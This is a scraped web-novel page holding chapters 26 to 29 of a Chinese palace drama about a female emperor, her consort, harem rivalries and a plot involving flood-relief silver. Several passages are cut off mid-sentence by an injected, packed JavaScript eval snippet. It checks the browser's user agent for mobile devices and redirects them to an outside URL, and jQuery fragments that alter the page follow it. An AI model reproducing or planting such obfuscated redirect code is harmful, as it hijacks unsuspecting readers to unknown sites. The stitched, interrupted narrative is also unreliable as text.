傅逸春默了默:“臣不敢欺瞒陛下,母亲之死,的确对臣打击很大。” 这才符合逻辑嘛~ 裴源垂眸轻叹一声。 却听傅逸春继续道:“臣的俸禄减了不少,不然臣还可以搭配一份脆青瓜和酱卤肉,沾着蒜泥吃,滋味最好不过。” 裴源垂下的眼眸慢慢抬起,看着傅逸春表情写满了错愕。本想说些什么,可话到嘴边,只剩下了一声疑问:“生活质量差这么大吗?” 傅逸春如实道:“主要是臣身后多了家人要养。” 见凤帝有些不解,傅逸春耐心解释道:“臣的生父不过府中一介卑微小侍,虽育有臣与幼妹,然主夫善妒,这些年,我们在府内过得颇为艰难。此前,臣忧心忡忡,唯恐母亲之祸会牵连父亲与幼妹,整日郁郁寡欢。而今,傅家蒙陛下宽宥,仅被抄没家产。主夫嫌父亲与幼妹是累赘,便将二人逐出府门。万幸君后早有所料,前几日偷偷带臣出宫置办了房产,如今,臣虽被降为侍君,可俸禄足可养活父亲与幼妹,臣心甚慰。” 言此,傅逸春起身,郑重跪到凤帝面前,语气诚恳:“皆是臣的过失,致使陛下误会君后,更令君后在紫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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毕和想到刘丝柳那肥头大耳的样貌,不禁嫌恶的蹙眉:“奴才听闻,人的米粮皆有定数,贪图享乐者饕餮无厌,一口吃光了晚年的饭,自然会寿数折损,早早归西。” 男子闻言,微微一笑,转身步入庭院,开口叹息:“清明之后,便是谷雨。本宫真为南边那些百姓忧心,倘若工部所建的河堤与桥梁皆因雨水坍塌,致使洪灾泛滥、流离失所,她们想寻个罪人偿命,都寻不到。” 毕和关上殿门,疾步行至男子身侧:“卿君心善,见不得人间疾苦。但上天不怜下界也是没法子的事,所幸天塌了还有陛下顶着呢。” 花房送来的芍药艳丽无双,男子折下一朵在手里把玩:“惊蛰种因,谷雨收果。本宫倒要看看,这未止于惊蛰的凤鸣,会不会溺死在南边的洪浪里。” 毕和安抚道:“卿君就放心吧,奴才还听闻,人的福禄亦有定数,有些福气,身子轻贱之人承托不住。野鸡就是野鸡,即便使弄手段坐上了这至尊凤位,也成不了飞向天际的凤凰。” 男子沉默数息,忽而转头仰望南边的天儿:“毕和,我真的好想她。” 毕和笑道:“三年了,南阳王依旧未娶正夫,奴才猜想,南阳王也在等那个能够与之比肩的人挣脱囹圄。然后她携着这个人的手,一步一步,踏上原本就属于她们的至尊之位。卿君猜猜,这个人是谁呢?” 男子闻言,面上晕出一抹红晕:“臭小子!本宫看你是皮痒了。” 26. 第 26 章 天空乌云迭起,不消片刻,绵绵细雨便洒向了京城。 分明是白日,可凝辉殿却被厚厚的窗纱遮蔽的乌漆嘛黑,烛火虽然点亮,可时不时的穿堂风涌入,将火光吹的明灭跳跃,晃的人眼睛生疼。 裴源烦躁的扔了奏折,捏着鼻梁瞥着门外,颇为烦躁道:“清明都过了,这雨却淅淅沥沥的不见停。” 乌宛白笑着安抚:“春雨润泽万物,植物萌出,长势喜人,今年呐,一定是个丰年。” 凤帝烦躁的情绪被她一句话安抚,冷峻的脸色多了丝笑意,不过片刻,又是叹息:“过满则溢,恰如其分朕才真的满意。”她默了默:“南边刚递来的折子,那儿的雨可比京城大多了。” 乌宛白沉默的几息里,缓缓抬眸看着天上垒的愈来愈厚的乌云,道:“陛下若觉得不安,何不命司天监占星看看,若真有天灾,也好提前防范。” “占星?”裴源颇为不屑,可转念一想,又觉得信一信也无妨,防患于未然总比什么都不做好:“也好。” 计安领命,前往司天监通传旨意,刚跨出高高的门槛,刚好瞧见君后下了步辇:“奴婢给君后请安。” 油纸伞缓缓上移,君后的柳叶眸含着笑意:“急火火的,是要去哪?” 计安道:“司天监。” 陆长行愣了愣,了悟:“雨势虽不大,可来回奔走也带上伞,万一染上了风寒,有的你受。”说话间,看了眼身侧的解安:“分一把给他。” 计安接在手里,打千儿道了声谢,撑着伞冲进了雨雾里。 解安哼了一声:“她就是懒。” 陆长行:“一把伞而已,你也这么计较。” 说着,跨进了门槛。 清明过了七日,小雨淅淅沥沥的就下了七日,原本刚有些暖意的春,现下又冷又潮,门廊下的青砖似乎就没见干。 裴源看着撩袍子的陆长行道:“别跪了,好好的袍子都跪湿了。” 陆长行并不坚持,翠竹一样挺直的脊行至凤帝跟前:“陛下近来好性儿,臣不止从一位后君口中听闻,陛下免了他们的跪礼。” 裴源面容如水,不露半分情绪,仅从鼻腔中轻哼一声,语气中带着几分冷意:“前朝像个戏子园,诸臣都将朕当猴子耍;唯独后宫对朕尚存几分真心敬重。朕若不待你们好些,岂不成了窝里横?” 陆长行眉宇微蹙,广袖下的手轻轻勾着她的尾指,仿佛在熨帖她不平的心:“陛下日夜操劳政务,心存仁厚。群臣之所以傲慢无礼,实则是心底对陛下畏惧。陛下才智超群,能干非凡,众臣自知平庸,恐在陛下面前相形见绌,是以心生惧意,又不愿示弱,故而以傲慢掩饰内心惶恐。” 裴源冷漠的神情依旧,只是瞥向陆长行的眼底溢出了几分柔情:“你倒是会宽慰人。” 陆长行勾住她的尾指,转身拉她入了凝辉殿,边走边轻声劝道:“辱人者,人恒辱之。世间因利而聚的盟约,皆是无根浮萍,最靠不住。陛下只需静坐殿中,将事情交代下去,她们不敬陛下便不敬,只要心中畏惧皇权即可。只要皇权还在陛下的手里,任她们如何翻腾,最后坐收渔翁之利的人,一定是陛下。” 裴源由他拉着迈入了内殿,直至步上方台,依旧在思量着他的话。 “你比朕会做皇帝。” 陆长行笑笑:“陛下还小嘛。” 裴源微微蹙眉,大两岁而已,又不是大了二十岁。 乌宛白早将奏折放置在了平台上,窗户半敞,透进的光与烛火相交辉映,自然许多。 陆长行跪坐一旁煮水泡茶,随口说道:“南边大雨泛滥,诸君听闻也跟着着急,各宫都写了经文送去庙殿祈福。” 凤眸从奏折移向君后的脸:“傅逸春也写了吗?” “自然。”陆长行道:“傅侍君最虔诚,奉上的经文比臣都要多出一倍。” 裴源:“……” 裴源嘴角微颤:“也不知这‘不自在菩萨’能不能管得着南边的雨。” 陆长行有些不明所以,可还是认真回道:“跪经是形式,抄经也是形式,只要心底里诚恳祝祷,上天必会垂怜。” 一杯香茗转瞬飘香,茶盏刚放到裴源手边,陆长行整个人就被裴源扯进了怀里。 陆长行猝不及防,缓神的功夫,奏折里的内容穿透凌乱的发丝落入眼眸。 “这些折子翻来覆去就是那些屁话,朕批了浪费精神,不批又不像话。”裴源捋顺着他凌乱的发丝:“君后替朕批吧?好不好?” 陆长行瞄了眼奏折,无外乎就是这个臣子为百姓做了些什么事儿,而后话锋一转,说自己虽不在京城不能日日面圣,却时时担忧陛下身体,剩下的就是对皇恩浩荡的感激涕零。 陆长行从她怀里挣脱逃回了原位,而后一边饮茶一边义正词严:“陛下,臣虽不用处理国事,但后宫诸事处理起来也不清闲,陛下还是另寻贤能吧。” 裴源:“……” 裴源心中不悦,于是狠狠白了他一眼:“你变了,从前你最听话,如今都敢忤逆朕了,说话也不迂回了,甚至都没有说‘后宫不得干政’这句废话!哼!” 陆长行:“……” 陆长行哭笑不得:“这种奏折哪里算得上政务?” 见凤帝一脸冷漠,于是笑道:“陛下之前不是说,若后君拎得清,便让臣举荐给你吗?眼下臣心中刚好有个合适的人选,能帮陛下解决这些劳什子。” 裴源瞥他一眼,郁闷道:“你不帮朕就算了。纵然这种奏折称不上政务,但也不好让外人接手。万一传出去,又是风波不断。” 陆长行闻言,微微倾身向前,柳叶眸温柔似水:“陛下信臣,是因臣身后无所依傍;这也是此人与臣最大的相似之处。” 裴源抬眼凝着他,眉宇紧缩。 陆长行低声又道:“傅逸春,母亲已逝,无家族傍身,酷爱书法;陛下若善待其父与幼妹,何愁其不忠心奉主?” 裴源久未出言 陆长行不由追问:“陛下还有顾虑?” 裴源冷道:“在君后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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面对周天韵的不解,凤帝摸索着杯沿,瞥了眼自己面前那盏:“你喝朕这杯。” 周天韵这才满意,伸手端杯前,从怀里取出了一节细细的小竹筒递给凤帝:“刚截下的。” 那应是系在信鸽腿上的竹筒,裴源放下杯子,从内取出一个卷轴。 上面赫然写着八个字:‘南潮起处,银舟沉沙。’ “南潮?”凤帝低吟:“银舟?” 周天韵轻抿一口香茗,待茶盏搁置于案,眉目间已敛去适才的嬉笑,正色道:“南边连日大雨,若冲垮河堤,淹毁良田与民宅,朝廷自然要拨付赈灾银两。” 裴源面色一沉,难怪看到南边的奏折就心慌,果然一切有迹可循。她重重侧倚窗框,久久不能缓神,只冷声追问:“这信发往何处?户部?” 周天韵道:“信鸽是臣在御花园截下来的,看方向,应该是发往西六宫。” 27. 第 27 章 原主的小君共计十二人,每人居一宫,武将之子在东六宫;文人之后在西六宫。 除了碧落宫的柳玉书、静思轩的周天韵、静思轩的韩柏、绮梦殿的傅逸春外,西六宫里还住着云梦宫的西门眙与凝露殿的瞿辰。 当晚,内秩署的宫人端着诸君的牌子入殿后,凤眸落在淑君与瞿卿君的牌子上徘徊了许久,最后诚恳发问:“朕一次只能选一个吗?” 宫人愣愣的抬起头,却将下巴落在了胸上,平素让陛下翻个牌子恨不得要磨破她的嘴皮子,今日这般……实在让她有些始料不及。 陛下她……终于要释放她的兽性了? 实木的浮尘手柄重重叩击在了宫人的头上:“糊涂东西,陛下问你话呢,你发什么愣啊?” 凌小可被扣的脑袋一震,正捉摸着如何回复,凤帝先一步开口:“算了,就淑君吧。” 消息传入云梦宫时,西门眙笑的格外得意:“陛下终于又想起本宫了。白尔,速速把家伙事全都摆上,今晚本宫势必要让陛下感受到生命的奥义!” 白尔默默扶额:“主子,陛下好不容易来一次,奴才求您了,正常一点,别又把陛下吓跑了。” “放心。”西门眙去搬他的宝贝:“上次本宫没控制好力道,这次不一样了,小小君恩,手拿把掐。你就等着给本宫道喜吧!嘿嘿嘿~” 看着忙前忙后的西门眙,白尔抿了抿唇,又抿了抿唇,最后只字未语,只是重重的叹了口气。 戌时三刻,连着一整日断断续续的小雨终于见了晴,上弦月的月牙儿悄然拨开了云雾,呈现出众云捧月的一幕。一直阴寒的夜晚,似也有了气温回暖的迹象。 裴源闲庭信步的跨入了云梦宫,可一眼瞧见镇守殿门前的左右宫侍……阴恻恻的笑脸,裴源没来由的背脊一寒,‘快跑’二字从心底呐喊出来,可双腿似有自己的考量,一个跨步直接迈进了门厅。 淑君身着一袭舒适的白色寝衣,阖眼立在门前,手持一副帝钟,似已恭候了良久。 听到脚步声,紧闭的双眸微微启了一条缝,确认来者是凤帝后,轻轻叩击了一下手里的帝铃。 “叮——” 清脆而悠远的帝铃带着一种穿透力,瞬间穿透了殿内的每一处角落,一瞬间,立在门前的凤帝身上,好似被披上了一层庄严的光晕,淑君非常满意,压低嗓音缓缓启唇:“更~衣~” 四周宫侍领命,齐齐近身凤帝跟前,凤帝一头雾水之际,明黄的凤袍与华贵的发饰已被退了干净,仅剩下了一袭锦段里衣与柔顺垂落的青丝。 忽而,一阵风从身后涌入,凤帝下意识双手抱胸,愠怒之色缓缓溢出眼底。 淑君却似没有察觉,反而再次叩响帝铃。 “叮——” 又是一声脆响,淑君再次开口:“闭眼~” 白尔闻言,低语道:“奴才僭越了。” 说着,取出布条直接系在了越瞪越圆的凤眸上。 裴源:“……” 这群男人到底要对她干什么? 凤帝满心狐疑间,人已被几个宫侍扶进了内殿的方台上。 淑君:“躺~” 裴源火气横生,伸手就要解开丝带之际,忽而,‘咣’的一声巨响,直接在她的头上炸开,震的裴源脑中轰鸣,甚至出现了短暂性的麻木愣怔,回神时,人已被推到躺在了松软的被褥上。 又一声厚重的钵声叩在耳边,淑君轻声低语道:“心如止水,波澜不惊,请陛下随臣一起飞向一片无垠的云海,身下是绵软的云,你感受到前所未有的放松……” 裴源:“……” 爹的!神经病! 半个时辰后,裴源双目失神的坐在器具中间,直至淑君奉上一杯香茗,失神的凤眸才缓缓恢复了几分光采。 淑君满脸期盼:“陛下觉得如何?” 裴源愣愣看着面前的那张脸,男子面容清朗,气质平和,五官虽不算绝世惊艳,却宛若春风拂面,给人一种温厚的淡然。 “挺新奇的。”她微微颤道。 淑君嘴角微勾,正要开口,却听凤帝淡淡又道:“可能是习惯不同吧,别的后君侍寝前,一般不做法事。” 西门眙:“……” 一旁的白尔露出‘我就知道’的神色,完蛋二字几乎明晃晃的写在脸上。 裴源又道:“朕决定了,朕驾崩前定会给你单独留一道旨意,任命你为首席大法师!有了淑君的加持,相信朕一定会走的十分安详。” 西门眙一脸惶恐:“陛下……” 凤帝压根不给他开口的机会,起身利落的从一堆法器中跨下了方台:“不知为何,朕突然有了四大皆空的念想,今夜便不久留了,淑君早些安置吧,朕,去也~” 说罢,一把将自己的凤袍囫囵抱起,逃也似的跑出了云梦宫,一边跑,花簪一边掉,待西门眙依次拾起追出宫门时,御撵早已化作一道烟儿,没了踪影。 西门眙:“……” 栖梧宫中,烛火早已熄灭,殿外守夜的宫女被一阵急切的叩门声惊醒。开门一看是凤帝,马上就要起身行礼,却被乌宛白一个眼色制止。 户对上只剩一盏烛灯,灯火昏暗,却也将奔跑的凤帝影子拉的很长。 临近殿门前,凤帝却骤然停了脚步,稳下情绪后方才慢慢推开殿门,灯光顷刻洒入,将殿中一桌一椅照着明晰。裴源轻手轻脚地行至内殿,君后早已入眠。 他似乎睡的并不安稳,或许是做了噩梦,男子的眉心微微蹙起,仿佛连梦里也带着几分忧郁。 裴源下意识地想要抚平他的眉心,却在触到肌肤的瞬间惊扰了男子。 陆长行一下子睁开了眼。柳叶眸中残存几分迷离,几息之后,才认出来人,声音中带着一丝睡意:“陛下?” 他撑着身子坐起准备下榻,可裴源已经先一步涌入了他的怀里。 “太可怕了,”女子委屈道:“他拿那个大钹震我的头,哐哐的,把我魂都要震飞了。” 陆长行愣了几息:“西门眙?” 裴源愤然道:“就是他!” 陆长行了然,轻轻拍了拍她的后脊:“陛下别怕,臣明日就罚他。” 垫在陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯。”陆长行借着道:“洪灾摧毁的除了田产和家宅,恐还会引发瘟疫。迟迟等不到赈灾银,南边一定是尸骸遍野,满地狼藉,百姓不会怪别人,她们只会责怪朝廷,诅咒陛下。” 裴源了悟,冷漠道:“人心贪婪,欲念无穷,银子只是开胃菜,败坏朕的名誉才是重头戏。” 陆长行不置可否:“乱时出枭雄,百姓对陛下的怨恨攀至顶峰之际,臣猜想,定会有人站出来扭转乾坤。”他轻飘飘道:“拿出银子,找出疫方,维护一方安定,赢得了民心,还保全了朝廷和陛下的脸面,届时,陛下该如何安置此人?” 裴源道:“自然是敲锣打鼓的迎她入京,封侯拜相,好生安置。” 陆长行轻嗯着:“陛下英明。若在敌人使出阴暗手段前便提前察觉,并加以应对,那么手段便不是手段。” 裴源微微蹙眉:“南边已连续降雨多日,再加上人为促成,朕此时布局,是否晚了?” “陛下天命所受,臣相信,上天一定站在陛下这边。”陆长行想了想,温柔的勾起了她的手:“陛下,不妨一搏!” 28. 第 28 章 寅未时分,陛下的凤袍早已送到了栖梧宫,乌宛白门外唤了两声,凤帝困的睁不开眼,反倒将君后唤醒。 “陛下~”陆长行伏在女子耳畔轻柔的说:“该上朝了。” 昏暗中,女子眉宇紧蹙,烦闷的掀起被子盖住了头,很快,闷声从被子下传出:“朝堂有我没我关系不大,今日不去了。” 陆长行无奈轻笑,下榻简单的沐浴更衣,方才又踱步至床榻跟前。 被子蒙起的头早已探出,女子面向里侧,凌乱的青丝下,是一张恬静的睡颜。陆长行轻轻捋顺她的发丝,俯下身哄道:“陛下起吧,臣亲自为你更衣,好不好?” 平静的眉眼再次蹙起,似乎这个条件并不足以诱惑女子,相反,她好像还有些烦闷。 陆长行见势,又道:“恕臣僭越了。” 语落,男子颔首衔住了凤帝的耳珠。 几乎一瞬,紧闭的双眸瞬间睁开,困意似开了闸的水顷刻流失,裴源想也不想的从榻上坐起,看着一脸若无其事的君后冷道:“你放肆。” 陆长行并不辩解,甚至缓缓跪在了榻前,拿起地上的鞋子:“请陛下更衣。” 裴源:“……” 裴源冷哼一声,穿鞋后下榻后抬臂由他伺候。 陆长行动作无比轻柔,他似有强迫症,就连衣裙褶皱都要一一捋顺,见不得一点凌乱,环扣腰封的时候,双臂轻而易举就将女子环在胸膛。 凤帝生的高挑,君后亦不遑多让,两人相拥时,男子竟比女子还高出半个头,所以裴源下意识就吻上了陆长行下巴。 双臂骤然一僵,陆长行似定住一般,只是喉咙轻轻涌动,好一会儿,男子才淡定自若的退了一步,颔首垂眸侧立一旁,视线盯着她的腰间:“陛下腰间总是空落落的,臣绣个荷包送予陛下可好?” 裴源道:“朕若带了你的,就要留着空带旁人的,届时腰上不但乱糟糟的,还压着腰封往下坠,朕不喜欢。” 陆长行静默几息:“臣多言了。” 光线昏暗,男子始终低着头,裴源看不清他的眉眼,只听声音似有些失落。 一股烦闷涌上心头,裴源将想说的话压在心里,只道:“朕昨夜只召了淑君,他伺候的朕很满意。” 陆长行默了默:“臣知道该怎么做。” 裴源点点头,迈步向殿外走去,却在临跨出殿门一瞬,忽而回首:“得空可以绣个帕子给朕,寻常花样即可,不要太花哨。” 陆长行抬眸望向女子。 裴源轻声又道:“朕会贴身带着。” *** 钦天监的占星言语不知怎么传到了前朝。 有人说:若天灾降临,凭人力无法扭转,何况灾情尚未发生,何必杞人忧天; 亦有人说:提前防备,总比静待事态发展恶化要好。 双方争论不休,直至散朝也没个定论。 反倒是御花园的花开的更艳丽了,花丛深处,桃花随风飘零,几朵花瓣落入了陆萧玉的发间,裴源伸手替她拂去,瞥见女子英挺的眉峰挑的愈发厉害。 “有看不懂之处,大可以问朕,回去后抓紧命匠人赶制出来,可能过两日就会用。” 陆萧玉愣愣抬眸,凝了小凤帝好半晌才道:“这制假银的方子,陛下不是给过臣吗?” 裴源怔住。 “除了顺序些许不同,内容几乎一丝未变,陛下还命臣造了五十万两出来。”陆萧玉眨眨眼:“莫非是五十万两不够?需再赶制一些?” 裴源面上不动声色,可手指已经下意识的摩挲起黑玉扳指来,几息的平复,才道:“朕……朕前几日头疾发作,从御撵上跌落时磕到了头,所以忘了……亿点事。” 陆萧玉恍然,半分没有怀疑,甚至担忧更甚:“陛下现下如何?一点事到不打紧。陛下若是何处有疑问,大可以问臣,臣定知无不言!” 裴源欣慰的点点头,顺势问道:“朕有没有说,用那五十万两银子做什么?” 陆萧玉认真思量片刻,摇摇头:“陛下只说天灾人祸,防不胜防,有备无患,总是好的。” 天灾?人祸? 裴源轻咳一声,又问:“那朕过往可有让你查办;或是问过南边的人或事?” 陆萧玉这次想也不想的点头:“去岁秋天,陛下命臣前往南陵郡方向,臣途经青云湖,并在望云码头附近发现了一处隐秘的粮仓,似乎藏有税粮。臣据实回报,陛下只说,您知道了。” 裴源了然,沉思须臾,有了决断,沉声道:“从凤鸣卫调拨精干人手,由牧山领队,携带二十万两假银,埋伏于城外首驿附近。两日后,当有赈灾队伍南下,必经此地,朕要求你们换出真银。朕知此事难办,需牧山提前部署谨慎行事,不可有失。另,你亲率一队人马,携驱疫药材,扮作商贾模样南下。若途中闻望云粮仓被淹之事,即刻将百姓引至那处隐秘粮仓。做完这些,你且静候数日,待朕旨意。” 一夜之间,将重兵把守的二十万两真银换成假银? 陆萧玉眉头紧锁,虽无一点头绪,但还是郑重跪地:“臣遵旨!” 裴源想了想:“若实在有失也不打紧,你们需得顾好自身,未来才更好替朕效力。” 陆萧玉猛地抬头,锐利的眸低竟顷刻溢出一层水汽,而后重重叩首,磕的青砖一阵:“臣等,定不辱圣命!” 裴源:“……” 怎么办,她好像是误会了呀? 算了,不管了。 裴源屈下身拍了拍她的背:“辛苦了。” *** 时至戌时。 凝露殿门下悬着的铜铃发出一声‘清脆’声,凤帝闲庭信步的跨入内殿,凝露殿的主人正在摆弄着花房刚送来的一堆芍药花。 芍药花未经过修剪,瞿辰便不厌其烦的修整,手里的金色剪刀在烛火下闪烁着耀眼的光芒。 凤帝看着满地狼藉并未打扰,自顾自的端坐茶案前,接过宫侍奉上的茶,饮了一口,苦涩自舌尖蔓延,裴源不动声色的放下茶盏,本想侧倚凭几养养神,方台上竟干净的没有一件杂物。 彼时,一束芍药修整完善,成束的花在花瓶中簇拥绽放,好不鲜艳。 瞿辰微微一笑,似很满意,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256388|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身准备饮口热茶,猛然发觉凤帝不知何时端坐茶案前,一脸惊讶之色浮在脸上:“陛下?” 他疾步上前屈身行礼:“臣修剪花束太过用心,竟未察觉陛下到来,还望陛下恕罪。” 太过急切,竟忘了放置剪刀,明晃晃的刀尖所指之处,正是裴源的方向。 数息沉默,裴源手指轻抬,随口道:“瞿卿君对这芍药倒是比朕上心。” 瞿辰起身将手里的剪刀交由宫侍手里:“陛下有所不知,臣这芍药可是进贡的火炼赤金,花开艳丽,却极为娇贵。它是开在夏日的花,却在花房的精心培育下,春日便盛开了。前几日细雨绵绵,空气湿冷,还败了不少,臣知晓后,好一个心疼。” 说话间,瞿辰淡定自若的行至茶案的另一头跪坐,言辞从容,面上无半分羞怯,反倒是衬的落落大方。 裴源瞥了眼花盆中争先盛放的芍药:“火炼赤金?若朕没记错,此花种应该是南陵刺史进贡,花朵丰满、富丽堂皇,远远一瞧,倒也称得上高贵无双。倒是与卿君相得益彰。” 瞿辰接过宫侍手里的帕子,从容擦拭着手上的污秽,闻言笑道:“陛下说笑了,若论富贵,哪抵得上牡丹?那才是真正的百花之王。区区芍药,不过东施效颦罢了。” 裴源端起茶杯并未饮用,只是轻轻摩挲着茶杯,黑玉扳指与瓷器交叠,发出了窸窣声响,扰乱了案间幽静。 “各花入各眼,朕到觉得,二者各有千秋,惹人怜爱。” 瞿辰愣了愣,微微抬眸迎上女子的注视,四目相对,女子的眼底玩味不见掩藏,男子面色羞赧:“陛下在浑说什么呢?” 裴源嘴角微勾:“夜幕四合,朕与后君共处一室,自然说的是阁中情话。” 瞿辰尚未开口,就听凤帝道:“安置吧。” 良久,男子僵硬的脸上才挤出一丝笑意:“陛下临幸,臣不胜欣喜,然臣今日身子不适,恐有不便之处。” 裴源微微挑眉,眼神不自觉的往他小腹瞥。 她只听闻这里的男子成年后,便要饮一种药物,依照裴源的理解,大抵与激素差不多,待身体机能有细微变化,与女子同房后,便能吸入女子精元入体,有几率孕育生命,瓜熟蒂落之日,剖腹取女。 可男人来大姨父这件事,她并未听闻。 如果裴源是个善解人意的凤帝,她或许会起身离去。 可惜裴源不是。 要占她便宜的男人太多了,好不容易碰到个不稀罕她的,她可太欣喜了。 于是她道:“虽然可惜,但朕来都来了。卿君既不方便伺候,那你只好打地铺了。” 瞿辰:??? 让男人打地铺?她这话怎么好意思说出口的! 却不料,凤帝竟无半分愧疚,直接起身下了方台,言辞冷漠不容半分辩驳:“更衣。” 瞿辰银牙暗咬,却只得乖乖侍奉更衣。 帝君二人一夜好眠。 翌日寅时,瞿辰从地上爬起为凤帝更衣,系好腰封后,下巴忽而被凤帝挑起:“卿君的床很软,芍药的气味也香甜,朕决定了,今夜还来。” 29. 第 29 章 “贱人!” 凤帝前脚刚离开凝露殿,瞿辰便化作了桌面清理大师,顷刻间,殿内一片狼藉,就连昨夜仔细修整的芍药花亦未幸免于难,娇艳花朵混在各类瓷器碎片中,平添了一丝破败的凄凉。 “主子!”毕先哪里顾得上地上的碎片,直接跪在瞿辰脚边:“你无论怎么生气也好,万万要克制情绪,若是传到帝后的耳中……” “传到就传到!”抑制不住的怒火从瞿辰心底涌出,手脚更是止不住的颤抖:“凭她一个舞郎之女,也配上本小爷的床!贱人!我要杀了……” 话未说完,毕先已起身捂住了他的嘴,毕先似带着哭声哀求:“主子,就算你不在意自己的性命,总不能不顾虑南阳王,她若知道你在后宫挨了欺负,她该多心疼?万一情急下,做了什么毁了大业,届时主子你该多懊悔?” 提及裴若,瞿辰心中的愤怒瞬间化作了委屈,他的眼睛通红,四肢无力般滑跪在地,口中呜咽低语:“她明知我会入宫,为什么不带我走……” 毕先不语,只是紧紧拥着瞿辰,似想给他一些力量。 夜幕缓缓扯开了一条口子,两个时辰后,温暖的阳光洒向大地,似乎要将连日来阴雨留下的湿冷全部带走。 后宫也终于迎来了朝阳,连着两日,淑君与瞿卿君都得到君后褒奖,流水一样的赏赐先后送进了云梦楼与凝露殿,昭示君恩。 诸君神色各异,却也大方向二人道喜。 君后更是一脸欣慰温雅,语声清和:“诸位兄弟,陛下乃天命之尊,尔等当尽心侍奉。本宫与陛下同心同德,凡令陛下心悦开怀者,本宫必有厚赏。望诸位皆能早承皇嗣,开枝散叶。” 诸君齐齐起身:“是。” 朝见就此散去。 不过一盏茶的功夫,侍君傅逸春再次踏足栖梧宫,圆窗下的案上早已摆好了棋盘,见傅逸春熟门熟路的步入内殿,解安奉上了早已温好的茶,一招手,带着阖宫的宫人躬身退出了殿外。 傅逸春猜先输了先手,陆长行执起黑子落在星位。 傅逸春挑挑眉,叹了口气:“看来今日又是一场鏖战。” 陆长行微微一笑:“才下了一手,能看出什么?” 傅逸春道:“若今夜还来呢?” 这话暗有所指。 陆长行听出了弦外之音,抬眸看他,将指尖捻弄的黑子放下,才说道:“陛下如今是孩子心性,行为有些任性,但也不失可爱。” 傅逸春回:“陛下什么心性臣不知,不过瞿辰是怨夫心性却是实打实的。主仆二人天没亮就开始抓地龙臭虫,说是要放养在床上,怪幼稚的。” “哼。”陆长行眸色微沉:“难得晴朗的天儿非要戳本宫的霉头,既如此,本宫就只能给他找找晦气了。” 说话间,陆长行指尖轻叩杯盏,发出了脆响,不消片刻,解安颔首行至君后身侧。 陆长行吩咐道:“天黑前,传个流言到六宫:南阳王纳了一对双生玉树,双星并耀,夜夜笙歌,好不快活。” 解安未有半分迟疑,应了声是,躬身退下。 傅逸春轻笑出声。 黑子落定,直接吞了三颗白子,陆长行语气微沉:“这就是取笑本宫的下场!” 傅逸春无奈摆手:“臣错了。只觉得这流言没头没尾的,瞿辰会信吗?” “别人或许不会信,瞿辰一定会信。”陆长行纵观棋局,又落下一子:“他一贯自以为是,行事又常凭己意。断章取义的传言一旦入了他的耳,他自会在心中拼凑出一套完整的因果,认定南阳王魅力不减当年,反而更加深信不疑。” 傅逸春不由想起南阳王的那段风流往事。 一场游猎,发了狂的猛兽冲入了郎君队伍,南阳王不顾自身性命舍身猎兽,俘获了多少儿郎的心? 甚至有位定了亲的儿郎,都因目睹了南阳王的风采从而心生仰慕,不惜借自家筵席之便自荐枕席,想在婚前与南阳王春宵一刻。 谁料天公不作美,荒唐事当众暴露,还成了那日筵席的下酒菜。 宾客都说是那郎君不知廉耻,醉酒的南阳王难抵勾引才做了错事。 事后,南阳王为保全那郎君的脸面,主动承担了流氓之名,还将那郎君迎入府中,以侧宾相待。这一举动,非但没有让南阳王声名狼藉,反而让她在儿郎们心中的地位不降反升,更加仰慕。 想起这段过往,傅逸春语气中带着几分唏嘘:“既能占便宜,又能搏好名这事,南阳王属第二,无人敢称第一。” 陆长行轻轻落子,语气淡然:“世人只记得南阳王的豁达与担当,却无人知晓那个侧宾,入了南阳王府不过短短半载,便重病离世。” 傅逸春沉默几息后,只发出了一声叹息。 日升日落,一日光景又至尾声,裴源随手翻过了瞿卿君的牌子,便老神在在的倚靠凭几侧目养神。 不多时,窸窣声传入耳畔,裴源并未睁眼,只闻到奉到面前的茶茗中掺杂着淡淡的桃花香气。 裴源打趣道:“看来是御前伺候太过清闲,你竟还有功夫去摘桃花。” “只要陛下喜欢,便不周折麻烦。” 裴源蓦地睁了眼,对上了一双柳叶眸,陆长行依旧是淡然自若的模样。 裴源挑挑眉,叩击着桌案:“合着君后口中的‘后宫繁琐诸事’,便是去御花园采花。” 陆长行将茶放下,闻言嘴角微勾:“都两日了,陛下怎么还在计较?” 裴源轻哼一声:“朕也不想计较,只是批了一天废话折子,手抖心慌,怨气横生。” 她瞥了眼君后的脸色,又道:“待会儿朕就去瞿卿君宫里,让他好好给朕揉揉,君后不疼朕,自有大把的后君抢着替朕效力。” 陆长行自顾坐在案前,收拾着案上凌乱的奏本,闻言一脸欣慰:“如此看来,瞿卿君还颇得圣心,那臣今日送去凝露殿的那些赏赐,便没白送。” 空气静默片刻。 倚靠凭几的凤帝忽而挺直坐起,摩挲着茶盏,状似无意地问:“你还赏赐他了?” “自然。”陆长行微微一笑,语气淡然:“臣与陛下心意相通,瞿卿君尽心尽力侍奉陛下,哄得 